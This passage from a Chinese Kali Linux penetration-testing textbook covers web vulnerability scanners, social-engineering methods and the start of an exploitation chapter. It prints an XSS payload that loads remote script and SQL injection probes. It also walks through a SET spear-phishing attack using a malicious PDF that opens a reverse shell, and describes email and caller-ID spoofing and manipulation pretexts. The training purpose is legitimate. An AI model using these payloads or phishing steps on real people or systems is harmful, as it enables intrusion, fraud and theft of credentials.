5. 在 Sites 选项卡里选中目标网站,然后在菜单中选择 Analyze | Scan All,可对选定网站进行自动化的漏洞测试。另外,您还可以在 Analyze | Scan Policy 指定安全测试的特定类型,然后使用单独的 Analyze | Scan 功能进行特定类型的安全测试(而不是Scan All 进行的那种全面测试)。

6. 在程序完成漏洞测试之后,您可在底部的Alerts 选项卡中看到大量的安全警告。依照其危害程度,这些漏洞被分为High、Low和Medium三种级別。

7. 如需查看上次扫描结果的报告,可打开菜单Report | Last Scan Report。它将会把本此测试发现的所有漏洞保存为网页格式文件/root/paros/session/LatestScannedReport.htm。

在本例中,我们仅进行了基本的漏洞评估测试。如需获取Paros Proxy选项的详细说明,请访问其官方的用户手册,地址为 http://www.i-pi.com/Training/SecTesting/paros_user_guide.pdf。

4.W3AF

W3AF是一款功能丰富的Web应用程序攻击和审计框架,它主要用于探测和利用Web漏洞。它实现了全自动化的应用程序安全评估过程。整个框架的设计理念遵循了下述三个主要的操作步骤:识别、审计和攻击。在进行毎个操作步骤时,审计员都可使用其提供的注重特定测试标准的功能插件。W3AF 的这些插件实现了互相之间的通信和数据共享,有助于协同完成测试任务。它可检査、利用的Web应用程序漏洞包括SQL注入、跨站脚本、远程和本地文件包含、缓冲区溢出、XPath 注入、操作系统命令、错误的应用配置等。有关各个插件的详细信息,请查询http://w3af.sourceforge.net/plugin-descriptions.php。

如需启动 W3AF,可在桌面菜单中依次选中 Kali Linux | Web Applications | Web Vulnerability Scanners | w3af (Console),或在终端中使用下述指令。

# w3af_console

上述命令将进入到W3AF特有的控制台模式(提示符为w3af>>>)。虽然在桌面菜单里也有这个程序的GUI版本,但是考虑到操作灵活性,我们倾向于使用它的控制台版本。

w3af>>> help

上述指令将显示配置w3af测试所需的基本选项。在需要查看帮助时,可随时使用help命令查看特定选项的说明信息。本例首先配置output 插件,然后启用特定的audit 测试选项,设置target并对目标网站进行扫描。相关指令如下。

w3af>>> plugins

w3af/plugins>>> help

w3af/plugins>>> output

w3af/plugins>>> output console, htmlFile

w3af/plugins>>> output config htmlFile

w3af/plugins/output/config:htmlFile>>> help

w3af/plugins/output/config:htmlFile>>> view

w3af/plugins/output/config:htmlFile>>> set verbose True

w3af/plugins/output/config:htmlFile>>> set fileName testreport.html

w3af/plugins/output/config:htmlFile>>> back

w3af/plugins>>> output config console

w3af/plugins/output/config:console>>> help

w3af/plugins/output/config:console>>> view

w3af/plugins/output/config:console>>> set verbose False

w3af/plugins/output/config:console>>> back

w3af/plugins>>> audit

w3af/plugins>>> audit htaccessMethods, osCommanding, sqli, xss

w3af/plugins>>> back

w3af>>> target

w3af/config:target>>> help

w3af/config:target>>> view

w3af/config:target>>> set target http://testphp.example.com/

w3af/config:target>>> back

w3af>>>

我们通过上述指令调整好了各项参数。然后,我们将通过下述指令,评估目标的 SQL注入、跨站脚本、操作系统命令、htaccess错误配置等漏洞的安全问题。

w3af>>> start

Auto-enabling plugin: grep.error500

Auto-enabling plugin: grep.httpAuthDetect

Found 2 URLs and 2 different points of injection.

The list of URLs is:

- http://testphp.example.com/

- http://testphp.example.com/search.php?test=query

The list of fuzzable requests is:

- http://testphp.example.com/ | Method: GET

- http://testphp.example.com/search.php?test=query| Method: POST|Parameters:(searchFor="")

Starting sqli plugin execution.

Starting osCommanding plugin execution.

A possible OS Commanding was found at:

"http://testphp.example.com/search.php?test=query", using

HTTP method POST. The sent post-data was:

"searchFor=run+ping+-n+3+localhost&goButton=go".Please review manually.

This information was found in the request with id 22.

Starting xss plugin execution.

Cross Site Scripting was found at:

"http://testphp.example.com/search.php?test=query",

using HTTP method POST. The sent post-data was:

"searchFor=<ScRIPt/SrC=http://x4Xp/x.js></ScRIPt>&goButton=go".

This vulnerability affects Internet Explorer 6,Internet Explorer 7,Netscape with IE rendering engine,Mozilla Firefox,Netscape with

Gecko rendering engine.

This vulnerability was found in the request with id 39.

Starting htaccessMethods plugin execution.

Finished scanning process.

上述信息表明,W3AF发现该Web应用程序存在多个严重的安全漏洞。我们已经在配置中指定好了测试报告的文件名,该文件位于/pentest/web/w3af/testreport. html。扫描报告会列出所有漏洞的全部细节,其中包括 W3AF 程序和目标 Web 应用程序之间每个请求信息、相应响应、所传递的数据以及调试信息等。本例没有使用别的的插件(plugins)、配置文件(profiles)和漏洞利用(exploit)选项。因此,本书强烈建议读者参考官方的用户指南,进行各种练习。官方手册的下载网址是 http://w3af. sourceforge.net/documentation/user/w3afUsersGuide.pdf。

5.WafW00f

WafW00f是检测Web应用程序防火墙(WAF)的Python脚本程序。在评估WAF保护的目标主机时,许多漏洞评估技术都难以奏效;而这正是WafW00f程序擅长的测试环境。部署于应用服务器和Internet流量之间的WAF防火墙,不仅提高了测试策略的难度,同时还使渗透测试人员开发的高级规避技术面临了新的挑战。

如需启动WafW00f程序,可在终端中使用下述指令。

# wafw00f

上述指令将在显示器上显示简单的使用说明,以及几个典型的指令范例。本例中,我们将通过下述指令,分析目标网站是否使用WAF系统。

# wafw00f http://www.example.net/

WAFW00F - Web Application Firewall Detection Tool

By Sandro Gauci && Wendel G. Henrique

Checking http://www.example.net/

The site http://www.example.net/ is behind a dotDefender

Number of requests: 5

上述信息表明,目标应用程序服务器处于防火墙的保护之下(例如,dotDefender)。通过这些信息,我们可以进一步地调查规避WAF规则的方法。这可能涉及一些如HTTP参数污染、空字节替换、规范化处理、使用十六进制字符或Unicode字符对恶意URL进行编码等技术。

6.WebScarab

WebScarab 是一款功能强大的 Web 应用程序的安全评估工具。它有多种操作模式,主要模式为拦截代理。将WebScarab代理部署于终端用户浏览器和目标Web应用程序之间,可监控、修改二者之间的请求和回应。审计人员可以手动构造连接请求,然后检査目标Web应用程序返回的响应信息。WebScarab 集成了诸多工具,这些工具包括 fuzzer、session ID analysis、spider、web services analyzer、XSS 和 CRLF 漏洞扫描器和 transcoder等程序。

如需启动WebScarab Lite程序,可在桌面菜单里依次选中Kali Linux | WebApplications |Web Vulnerability Scanners | webscarab,或在终端中使用下述指令。

# webscarab

上述指令将执行精简版的 WebScarab。根据本例的需要,我们通过菜单 Tools | Use full-featured interface 令程序显示全部的功能选项。程序将询问您是否启用这项功能,然后会重启该应用程序。再次启动之后,WebScarab的界面上将新增很多工具的选项卡。在开始评估工作之前,我们应调整浏览器程序,使其使用本地代理服务器(127.0.0.1, 8080),以使得浏览器通过WebScarab 的拦截代理访问目标主机。另外,您可以在Proxy | Listeners选项卡中调整本地代理服务器的有关设置(IP地址或端口)。使用WebScarab程序分析目标应用程序的session ID 的步骤如下。

1. 设置好浏览器的代理服务器选项之后,您可使用浏览器访问目标网站(例如http://testphp.targetdomain.com/),并访问尽可能多的链接。浏览的页面越多,发现已知和未知漏洞的机会也就越大。除了这种方法,您还可在Summary选项卡中使用鼠标右键点击目标网站,然后选择Spider tree;此后,程序将自动査找目标应用程序的所有可用链接。

2. 如果想检查特定页面的请求和响应数据,可单击底部的Summary标签。程序将表格的形式显示原始的和解析过的浏览器请求。此外,您还可以看到以 HTML、XML、TEXT和Hex格式显示的响应信息。

3. 在测试过程中,我们决定对目标应用程序链接中的某个参数(例如,artist=l)以 GET 请求进行模糊测试。这种测试有助于找到未被发现的漏洞。我们使用鼠标右键点击选定的链接,并选择Use as fuzz template。然后转到Fuzzer 选项卡,点击Parameters 附近的 Add 按钮,人工添加需要进行模糊测试的参数。在本例中,我们写了一个小型文本文件,这个文件含有已知的SQL 注入数据(例如,1 AND1=2、1AND1=1、单引号[’]),然后指定这个文本文件作为模糊测试的参数值。这种指定操作可通过Fuzzer选项卡下的Sources按钮完成。准备好模糊测试数据后,我们点击 Start 开始测试。所有测试完成后,可以双击单个请求以检査其相应的响应。我们在本例中发现了MySQL注入漏洞。

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 Warning: mysql_fetch_array():supplied argument is not a valid MySQL result resource in /var/www/vhosts/default/htdocs/listproducts.php on line 74

4. 最后,我们分析目标应用程序的session ID。我们选中Session ID Analysis选项卡,并在组合框中选中Previous Requests。等程序加载了特定请求之后,我们在底部设定采样次数(例如,20)。然后点击Fetch 按钮开始对session ID进行采样。之后,点击Test按钮对样本进行分析。而后,可在Analysis选项卡下看到分析结果。此外,我们可在 Visualization 选项卡屮看到相应的可视化分析。这种分析用于判断session ID 的杂化程度和不可预期性。上述指标如果不理想,就可能引发通过某session ID劫持他人session或获取他人认证信息的事故。

WebScarab 另有大量的选项和其他的功能,它们有助于我们提髙对渗透测试的认识。有关WebScarab 项目的更多信息,请访问http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project。

7.9 本章总结

本章通过Kali Linux 中的多款工具,阐述了识别和分析关键安全漏洞的具体方法。有关篇幅介绍了安全漏洞的三大类型:设计类漏洞、实施类漏洞和运营类漏洞,以及安全漏洞的两大种类:本地漏洞和远程漏洞。然后,本文简要介绍了几种安全漏洞的分类标准。这些标准依据缺陷的普遍共性对漏洞进行了总结,是安全审计人员所遵循的分类标准。为了指导漏洞评估的具体工作,本文列举了几款结合自动检验技术和手动检验技术的评估工具,并依据其特定的审计技术对这些工具进行了分类。本章介绍的工具有 OpenVAS(集合了所有功能的评估工具)、Cisco分析工具、模糊分析工具、SMB分析工具、SNMP工具和Web应用程序安全评估工具。

下一章将讨论欺骗的艺术,即利用人性的弱点获取目标信息的各种方法。虽然并非每次评估工作都涉及这些工作,但在缺乏目标信息时有关技术就显得十分必要。

第8章 社会工程学攻击

社会工程学是利用人性弱点体察、获取有价值信息的实践方法,它是一种欺骗的艺术。在缺少目标系统的必要信息时,社会工程学技术是渗透测试人员获取信息的至关重要的手段。对所有类型的组织(单位)而言,人都是安全防范措施里最薄弱的一环,也是整个安全基础设施最脆弱的层面。人都是社会的产物,人的本性就是社会性,所以人都有社会学方面的弱点都易受社会工程学攻击。社会工程学的攻击人员通常利用社会工程学手段获取机密信息,甚至可以造访受限区域。社会工程学的方式多种多样,而且每种方法的效果和导向完全取决于使用人员的想象能力。本章将阐述社会工程学核心原则,并会介绍专业的社会工程攻击人员用其操纵他人或挖掘信息的实例。

本章分为以下几个部分:

● 透过心理学的基本原理,带领读者大致了解社会工程学的手段和目标。

● 通过几个真实的例子,演示社会工程学的攻击过程及使用方法。

从安全角度来看,社会工程学是以获取特定信息为目标的操纵他人的有力武器。很多单位都使用社会工程学的方法进行安全评估,以考核雇员的安全完整性,并通过这种方法调查工作流程和人员方面的安全弱点。需要注意的是,社会工程学是种很常见的技术,可以说各种人员都会使用这种技术。无论是渗透测试人员,还是诈骗专家、身份窃贼、商业合作伙伴、求职人员、销售人员、信息经纪人、电话推销员、政府间谍、心怀不满的员工,甚至日常生活中的孩童都会使用这种技术,只是他们的动机不同而已。

8.1 人类心理学建模

人类的心理取决于感官的输入。感官的作用是形成对现实的感知。按照感官对自然现象的识别作用来划分,人的感官可分成视觉、听觉、味觉、触觉、嗅觉、平衡和加速、温度、动觉、疼痛感和方向感的感官。人类正是利用、发展他们的这些感官的功能,得以感知外部世界。站在社会工程学的立场,任何通过显性感觉(视觉或听觉)、眼晴的动作(眼神接触、口头上的差异、眨眼频率或眼睛暗示)、面部表情(惊喜、幸福、恐惧、悲伤、愤怒或厌恶)和其他抽象实体进行观察或感觉收集到的信息,都可增加成功获取目标信息的概率。大多数情况下,社会工程学工程师必须直接与目标进行沟通,才能获取机密信息或受限区域的访问权。沟通形式可以是直接见面的接触方式,也可以是通过电子辅助技术进行的不见面接触方式。在实际工作中,常见的沟通方式分为两类:面谈或问询。但是,这两种方法都受到其他因素的制约,例如环境因素、对目标的熟悉程度和控制沟通模式的能力。所有这些因素(沟通、环境、知识和沟通模式控制)构成社会工程学工程师必备的基本技能。整个社会工程学活动取决于攻击者与目标之间的信任关系。如果不能与目标建立足够的信任关系,则所有的努力都可能付之东流。

现在,社会工程学已经形成了一门独立学科。有关社会工程学框架(Social Engineering Framework)的详细信息,请访问作者的官方网站:http://www.social-engineer.org/。Christopher Hadnagy 运营着这个网站,并且发布了社会工程学领域的各种研究成果。他将这些信息向公众开放,以便于他人继续研究社会工程学攻击的具体方法。如果需要对用户进行安全培训,可参考有关资料。

8.2 攻击过程

本节将介绍一些发动社会工程学攻击的基本步骤。虽然这不是社会工程学攻击的唯一方法,甚至可以说没有成功率高的正式方法,但是本文的这些步骤可帮助您形成社会工程学的基本认识。情报收集、识别漏洞、规划攻击和执行攻击——社会工程学工程师通常都会采用这些某本步骤,它们可有效获取目标的有关信息或访问权限。

1. 情报收集:多种技术都可用于找到最容易攻破的渗透测试目标。例如,我们可采用髙级搜索工具收集被测公司员工的E-mail地址;通过社交网络收集被测单位员工的个人信息;识別被测单位组织使用的第三方软件包;参与他们的经营活动、社交活动和参加其会议等。以这些方式提供的情报,能够准确地推测出社会工程学意义上的“线人”。

2. 识别漏洞:一旦选定了关键线人,接下来就开始与对方建立信任关系和友谊。这样就可以在不伤害、不惊动目标的情况下,截获被测单位的机密信息。保持行动的隐蔽性和保密性,对于整个过程来说至关重要。另外,也可以调査被测单位是否使用了旧版本软件,继而通过恶意的E-mail或Web内容,利用软件漏洞感染当事人的计算机。

3. 规划攻击:您可以对目标采取直截了当的攻击方式,也可以利用电子辅助技术被动地攻击目标。以这些挖掘出来的情报入口着手,我们可以轻松地拟定攻击路径和攻击方法。例如,被测单位的客户服务代表Bob和我们的关系很好,他还信任我们;他就可能在计算机上执行我们发送的E-mail附件,而这种攻击不需要高级管理人员的任何事前授权。

4. 执行攻击:社会工程学攻击的最后一步是执行攻击计划。此时,我们应该保持足够的信心和耐心,主动监控和评估工作成果。完成这一步之后,社会工程学工程师掌握了充分信息,甚至可以访问被测单位的内部系统,这些成果足以让他们进一步地渗透被测单位。在成功执行攻击计划之后,社会工程学的攻击就可宣告结束。

8.3 攻击方法

社会工程学中,有5种有助于理解、识别、结交、准备目标的攻击方法。社会工程学按照它们的特点,将它们进行了归类。本节介绍了一些真实的案例,以帮助读者在实际情况中灵活运用各种所需方法。请注意这些攻击方法针对的是个人的心理学因素,要想提高这些方法的效用,就应该进行定期的训练和练习。

8.3.1 冒名顶替

攻击人员常常假装成他人以获取对方的信任。例如,在获取目标人员的银行信息方面,只要目标人员使用 E-mail,我们就可以进行钓鱼攻击。这种攻击属于近乎完美的攻击方案。当决定使用钓鱼攻击之后,攻击人员要大量地收集目标人员用过的 E-mail 地址,然后伪造出与原银行界面一样的网页界面,以诱骗目标人员。

完成了以上准备之后,攻击人员会草拟并发送一份正式行文的E-mail(例如,银行账户更新通知)。这些E-mail看上去就像真正银行发出来的邮件,要求目标人员访问某网址更新账户信息。不过,邮件提到的网址将把目标人员提交的信息转发给攻击人员。攻击人员事先掌握了特定的 Web 技术,他们使用多种先进的工具(例如 SSLstrip)就可以通过自动化手段轻松有效地达成预定任务。与那些借助他人帮助的欺骗方法相比,这种方法通过模拟银行业务的手段可直接达成冒名顶替的目的。

8.3.2 投桃报李

通过利益交换的方式达成双方各自利益的行为,被称为投桃报李。这类攻击需要长期业务合作达成的非正式(私人)关系。利用公司之间的信任关系,可以轻松地找到可获取特定信息的目标人员。例如Bob是一个专业黑客,他想知道ABC公司办公大楼的物理安全策略。进行仔细考察之后,他决定制作一个廉价销售古玩的网站,以吸引两名雇员的关注。Bob 可事先通过社交网站掌握这两人的个人信息,了解他们的 E-mail 地址、网络论坛等资料。在这两人之中,Alice在Bob的网站上定期采购商品,成为了Bob的主要目标。Bob决定要以一件稀有古董换取她们公司的内部文件。利用人类心理学因素,他将向Alice发送了E-mail,以转让这件稀有古董为筹码,要求Alice提供ABC公司的物理安全策略。在混淆了工作责任和个人利益的状态下,Alice把公司信息透露给了Bob。在创建骗局的同时,通过价值交换的事情强化私人关系,可成为社会工程学攻击的有效手段。

8.3.3 狐假虎威

冒充目标单位业务负责人的身份从而干预正常业务的做法就是狐假虎威。有些人认为,这种攻击方法属于冒名顶替的一种特例。人们会出于本能下意识地接受权威和髙级管理人员的指示,这个时候他们会无视自己否定性的直觉。这种天性使我们容易在特定的威胁面前毫无抵抗力。例如,某人要通过XYZ公司的网络管理员获取网络认证的技术细节。经过一段时间的专注分析,他可以通过利益交换方法获得网络管理员和CEO的电话号码。后来,他使用来电号码的伪造服务(例如,www.spoofcard.com)给网络管理员打电话。此时,网管会认为该电话来自CEO,将遵从攻击人员的指示。这种假冒权威人员身份的狐假虎威的做法,利用了目标人员必须遵从公司高级管理人员指示的规律,诱导目标人员泄露信息。

8.4 啖以重利

人们常说“机不可失”,他们特别关注所谓机不可失的宝贵机会。这些想法都是人性贪婪一面的写照。啖以重利的方法利用了人们渴求谋利机会的贪婪心理。著名的 Nigerian 419 Scam(www.419eater.com)是利用人类贪欲的典型例子。让我们举一个例子,Bob想要收集XYZ大学里学生的个人信息。在他获取所有学生的E-mail地址的情况下,他可以向学生们发送邮件并宣告:提供个人信息(姓名、地址、电话、电子邮件、出生日期、护照号码等)将免费获赠 iPod。由于这个创意专门针对在校学生设计,而且足以使他们确信能够免费获得最新的 iPod,所以多数的在校学生会落入这个骗局。在企业界,相应的攻击方法通常鼓吹可以获得最大商业收益,达成业务目标。

8.5 社会关系

作为人,我们需要某种形式的社会关系,以分享思想、感情和想法。社会关系最易受攻击的部分是“性”。多数情况下,异性总是互相吸引。由于这种强烈的感情和信任的错觉,人们可能在不意间向对手透露信息。很多线上的社交门户网站都提供了见面和聊天的服务,以促进用户间的社会交际。Facebook、MySpace、Twitter、Orkut 等网站都是如此。例如, XYZ公司聘请了Bob,要他获取ABC公司财务策略和市场营销战略以保持自身的竞争优势。他首先査找对方公司的雇员信息,发现 ABC 公司负责所有业务运营的人是一个叫作 Alice的女孩。因此,他假装是一个普通的工商学的研究生,试图与Alice取得联系(例如,通过Facebook)。后来,Bob 蓄意营造遇见 Alice 的机会,共同出席聚会、年庆活动,一同造访舞厅、音乐厅等地方。通过在见面期间的攀谈,Bob自然而然地获取到ABC公司有用的财务和市场策略信息。请记住,达成的关系越有效,越信任,就越有利于社会工程学工程师达到目标。在信息安全方面还有很多简化这些操作的工具。下一小节将会介绍的SET工具就是典型的社会工程学工具。

8.6 Social Engineering Toolkit(SET)

Social Engineering Toolkit(SET)是一款先进的多功能的社会工程学计算机辅助工具集。它由 TrustedSec(https://www.trustedsec.com)的创始人编写,可以行之有效地利用客户端应用程序的漏洞获取目标的机息(例如E-mail密码)。SET可实现多种非常有效且实用的攻击方法。其中,人们常用的方法有:用恶意附件对目标进行E-mail钓鱼攻击、Java applet 攻击、基于浏览器的漏洞攻击、收集网站认证信息、建立感染的便携媒体(USB/DVD/CD)、邮件群发攻击及其他类似攻击。它是实现这些攻击方法的合成攻击平台。充分利用这个程序的极具说服力的技术,可对人的因素进行深入测试。

如需启动SET,可在桌面菜单中依次选中Applications | Kali Linux | Exploitation Tools | Social Engineering Toolkit | setoolkit。

或者在终端中加载SET程序。

root@kali:~# setoolkit

上述指令将显示如下选项(见图8.1)。

本例将演示通过恶意PDF附件发起钓鱼攻击的方法。在收件人打开附件时,他们的主机将被攻陷。

不要使用SET工具集自带的更新功能更新SET程序包。您应该使用Kali Linux 系统的更新功能,以获取SET 软件的更新。

figure_0229_0098

图8.1

定向钓鱼攻击

如果采用这种攻击方法,我们就要首先创建一个配合恶意PDF附件的E-mail模板,再选择适当的PDF exploit payload,然后设置攻击平台与目标主机之间的连接关系,最后通过Gmail向目标发送这封E-mail。需要注意的是,您可以通过Kali Linux自带的sendmail程序伪造原始发件人的 E-mail 地址和 IP 地址。Sendmail 的配置文件是/usr/share/set/config/set_config。有关程序的详细信息,请参考Social Engineer Toolkit(SET)的官方说明:http://www.social-engineer.org/framework/Social_Engineering_Framework。

这种攻击方法的具体步骤如下。

1. 在SET 程序的最初菜单里选择1,进入图8.2 所示的设置界面。

2. 我们选择1,即Spear-fishing Attack Vectors,然后进入图8.3 所示的设置界面。

3. 在上述选项中,我们必须选择 3,创建社会工程学邮件的模板。然后,我们书写邮件正文,如图8.4所示。

figure_0230_0099

图8.2

figure_0230_0100

图8.3

figure_0230_0101

图8.4

4. 虽然我们在上一步里写好了邮件的正文,但是并没有设置邮件的格式。模板生成程序会把您编辑的内容当作模板的一部分套用格式模板。在编辑完正文之后,使用Ctrl+C键返回上级菜单。然后,进行E-mail攻击的有关设置。我们从Perform a Mass Email Attack菜单里选择1,再选择6,即Adobe CoolType SING Table“uniqueName”Overflow选项,如图8.5所示。

figure_0231_0102

图8.5

5. 接下来设置payload 类型。本例应该选择6,即Windows reverse TCP shell。然后设置目标主机应当连接到的攻击平台(通常是Kali Linux 主机)的IP 和端口。本例假设攻击平台的IP地址是192.168.1.1,服务端口是5555。我们进行相应设置,如图8.6所示。

6. 然后我们更改文件名,以使文件名称引人注目。我们把 payload 的文件名改成了BizRep2010.pdf。然后,我们要让SET知道它要如何处理我们的payload。我们选择 1,向单个 E-mail 地址发送 payload;然后再选择 1,使用先前编辑好的邮件模板。现在,您的屏幕大体会是图8.7所示的这种情况。

figure_0232_0103

图8.6

figure_0232_0104

图8.7

7. 接下来,我们选择先前创建的 E-mail 模板(11)。这样,SET 将在后续的社会工程学攻击里重复利用这个模板。您创建的模板的质量,很大程度上决定了钓鱼战役的实际效果。然后,我们使用有效的E-mail中转服务器或Gmail账户向目标人员发送攻击性E-mail。

只有在测试条款里存在相应测试内容且客户明确理解测试内容的情况下,您才可以进行这种攻击测试。SET工具把感染文件发送给E-mail收件人,这种行为可能会引发法律问题。您需要参照发起测试地区的当地法律文件了解有关的法律规定。一旦您在SET中设置了E-mail信息,它就会立即建立连接发送文件。程序会在没有任何警告或提示的情况下直接发送E-mail。

8. 至此,我们已经向目标发起了攻击。现在我们等待受害人打开我们的恶意PDF 文件。在他/她打开PDF附件的时候,我们将通过反射shell连接到被害人电脑的shell。请注意,我们配置的 IP 地址 192.168.1.1 是攻击人员主机的 IP 地址(也就是Steven电脑的IP),它在5555端口受理被害人电脑反射shell返回的连接。

通过上述步骤,我们就完成了向目标发起社会工程学攻击的操作,并可远程访问被害人的主机。我们可在shell的交互式提示符下执行Windows命令。

SET 可同时对一人或多人进行电子邮件的钓鱼攻击。它整合了可定制的 E-mail 功能,便于社会工程学工程师制定安全的攻击路线。这种功能可在攻击多个公司员工的同时保持攻击的隐蔽性。

SET 的作者不断地更新着这个程序,以适应当前技术的剧烈变化。不过,它的功能可见一斑。本书强烈建议读者访问作者的网站,继续领略 SET 的风采。它的官方网站是https://www.trustedsec.com/downloads/social- engineer-toolkit/。

8.7 本章总结

在本章中,我们阐述了社会工程学在生活中各领域的常见用法。渗透测试人员可以根据实际情况采取相应的社会工程学策略,获取目标的敏感信息。人性本身非常容易受到这种技术的欺骗攻击。为了全面介绍社会工程学的技巧,本文讨论了构成人类心理学模型的几个因素,这些因素包括沟通、环境、知识和沟通模式控制。这些心理学原则可帮助攻击人员根据被测目标的实际情况,拟定适用的攻击过程(情报收集、确定漏洞点、规划攻击和执行攻击)和攻击方法(冒名顶替、投桃报李、狐假虎威、啖以重利和社会关系)。随后,我们演示了 SET 的使用方法,它具有在线进行自动化社会工程学攻击的强大功能。

第9章 漏洞利用

漏洞利用是渗透测试的一个环节。脆弱性评估不涉及漏洞利用的有关测试。在摸索出目标的漏洞之后,测试人员会验证并真刀真枪地利用目标系统的安全漏洞,以进一步了解目标网络和运营系统,获取更多信息,甚至掌握完全控制权。本章讲重点介绍实战环境下使用的漏洞利用工具,并阐述漏洞利用的具体方法。

本章分为以下几个部分。

9.1节介绍漏洞检测的相关知识。漏洞检测是理解、检查、测试漏洞的基础工作,是指导利用漏洞工作的重要环节。

9.2 节介绍漏洞和漏洞利用程序的资料库(exploit repositories)。漏洞利用程序的资料库是查找公开获取exploit的重要途径,它还描述了有关exploit的应用方法。

9.3节从评估目标安全性的角度,讲解一款恶名远扬的漏洞利用程序工具集及其使用方法。这部分内容清晰地演示了利用目标漏洞到获取敏感信息的各个步骤。本节还进行了细致的案例说明。

本章的最后篇幅将简要地介绍编写Metasploit exploit 模板的具体步骤。

编写漏洞利用程序(exploit)的程序代码都不仅费时费力,而且代码的质量直接关系着整个工作环节的成败。因此,渗透人员需要根据目标环境的实际情况对通过公开渠道获取的exploit程序进行相应调整。这种调整工作的技术含量很高,而且这类工作通常都是触类旁通的。掌握相应技能的人员可以举一反三地对很多程序进行调整。强烈建议读者在编写自己的漏洞利用程序之前,先通过公开渠道获取的的漏洞利用程序练手。

9.1 漏洞检测

了解特定软件或特定硬件设备的功能,可能就是挖掘其潜在漏洞的第一步。检验漏洞并不容易,绝非是一蹴而就之事。检验人员必须具备扎实的知识基础,了解安全分析的各方面因素。漏洞检测所需的安全分析技能分为以下几种。

● 编程技能:这是称职的守法黑客必须具备的基础素质。掌握某种编程语言的基本原理和编程方法,是安全测试人员检测程序漏洞的必备技能。除此之外,他还应当深入了解处理器、系统内存、缓冲区、指针、数据类型、寄存器和缓存等基础概念。无论是C/C++、Python、Pert还是汇编语言,几乎所有编程语言的实现方式都与上述概念有关。根据现有漏洞编写exploit程序的基本方法,请参阅http://www. phreedom.org/presentations/exploit-code-development/exploit-code-development.pdf。

● 逆向工程:漏洞挖掘工作同样依赖测试人员的逆向工程技能。这种技术分析程序的具体函数、数据结构和算法,可检测出电子设备、软件以及系统中潜藏的漏洞。逆向工程的反编译技术,可在事先不知道内部结构情况下逆向解析出程序的源代码,从而测试程序的错误条件、不完善的函数以及存在缺陷的协议,并能够测试程序的边界条件。专业的安全研究员都具备很高的逆向工程实战能力。逆向工程可以用于去除软件的版权保护、安全审计、分析技术竞争情报、侵权鉴定、研究软件的交互性、掌握程序的工作机制,甚至破获敏感数据。逆向工程为应用安全的概念增加了两个抽象层:源代码级审计(source code auditing)和二进制(可执行程序)审计(binary auditing)。如果可以获取程序的源代码,审计人员可采用自动或手动的方式分析源程序的安全问题,进而解析出可能触发漏洞的边界条件。另一方面,虽然测试人员可以在没有源码的情况下进行二进制审计,不过这种审计的效果不如源代码审计理想。二进制审计通常都会用到两种通用类型的辅助工具,即反汇编程序(disassemblers)和反编译程序(decompilers)。反汇编程序可把编译后的二进制程序反汇编成汇编指令,而反编译器则把编译后的二进制程序反编译成高级程序语言的程序源代码。然而,无论选用反汇编程序还是反编译程序,成功的逆向安全工作都离不开审计人员扎实的技术实力和小心谨慎的评估态度。

● 熟悉检测工具:检测漏洞的工作依赖各种调试器、数据挖掘器、模糊测试数据生成器、事件检测器、代码覆盖分析器、流量分析器和内存监视器。对于检验漏洞的工作来说,漏洞检测工具十分重要。它们同时还是测试项目的集成测试平台。虽然 Kali Linux收录了不少监测工具,但是本书并不会详细讲解每款工具。如需持续关注逆向工具的最新动态,请访问在线的网络资料库:http://www.woodmann.com/collaborative/tools/index.php/Category : RCE_Tools。

● 构建exploit和payload的技术实力:利用漏洞的最后一步工序就是编写漏洞的PoC (Proof of Concept,概念验证)程序,即shellcode。这种程序旨在使渗透测试人员在远程目标主机上执行自定义的指令。根据逆向工程阶段掌握的应用程序的具体缺陷,测试人员要编写验证漏洞的点睛之笔——shellcode程序。同时,他们还要防止shellcode存在缺陷,尽其所能地避免exploit(漏洞利用程序)出现崩溃问题。

要让目标系统执行我们编写的程序或我们所要执行的指令,就应当针对漏洞的类型和类别拟定针对性的策略。为了获取目标操作系统的控制权,专业的渗透测试人员会尽力挖掘并综合使用应用程序的各种安全缺陷。本章的后半部分将通过几个场景演示 Metasploit框架的使用方法和相关技术。

9.2 漏洞和exploit资料库

近些年来,公共领域持续报道了大量的程序漏洞。其屮一些漏洞存在 PoC。PoC 程序从一个侧面验证了 exploit(利用应用程序漏洞)的可行性。而且,并不是每个被发现的漏洞都会被立刻修补。在当今这个时代里,人们争先恐后地获取exploit信息和漏洞信息。渗透测试人员同样可以通过公开渠道快速地检索可适用于目标系统的exploit程序。如果具备了一定的编程技巧并掌握解操作系统的具体架构,您还可以将一种类型的exploit转换为另一种exploit(例如,将Win32框架的exploit转换为Linux架构的exploit程序)。本文将介绍一系列的网络资料库,以助您追踪漏洞信息或查找适用的exploit程序。

请注意:网络上公开的漏洞信息并不涵盖全部已知漏洞。此外,虽然部分漏洞存在对应的PoC exploit程序,但是并非所有的安全漏洞信息都有公开的PoC代码。在公开的漏洞信息中,部分漏洞的描述信息甚至可谓是言之无物。因此,“要在研究漏洞时参考多个网上资源”已经成为了众多安全审计人员的共识。

figure_0236_0105

本文仅罗列了部分网络资源。Kali Linux集成了由“Offensive Security”提供的资料库,可在您的系统上保存exploit的所有漏洞记录,以便您日后参考和使用。如需查看Exploit-DB提供的资料,可在主机的shell中执行下述指令。

# cd /usr/share/exploitdb/

# vim files.csv

上述指令将列出Exploit-DB收录的所有exploit信息,即本机/usr/share/exploitdb/platforms/目录下的文件清单和相关描述。Kali 以目标系统的类型对漏洞进行分类(Window、Linux、HP-UX、Novell、 Solaris、BSD、IRIX、TRU64、ASP、PHP 等),并把各种exploit的源代码保存在相应的子目录下。这些文件多数是C、Perl、Python、Ruby、PHP以及其他一些编程技术开发的exploit 源代码。Kali Linux 已经收录了执行exploit 程序所需的编译程序和解释程序。

如何从exploits信息中提取特定信息?

通过操作系统的Bash 指令,您可以对文本文件的输出内容进行过滤,从而筛选所需信息。您可以通过 searchsploit 指令,或者是 cat files.csv | cut -d“,”-f3指令检索特定的exploit。有关shell指令的基本用法,请查阅http://tldp.org/LDP/abs/html/index.html。

9.3 漏洞利用程序工具集

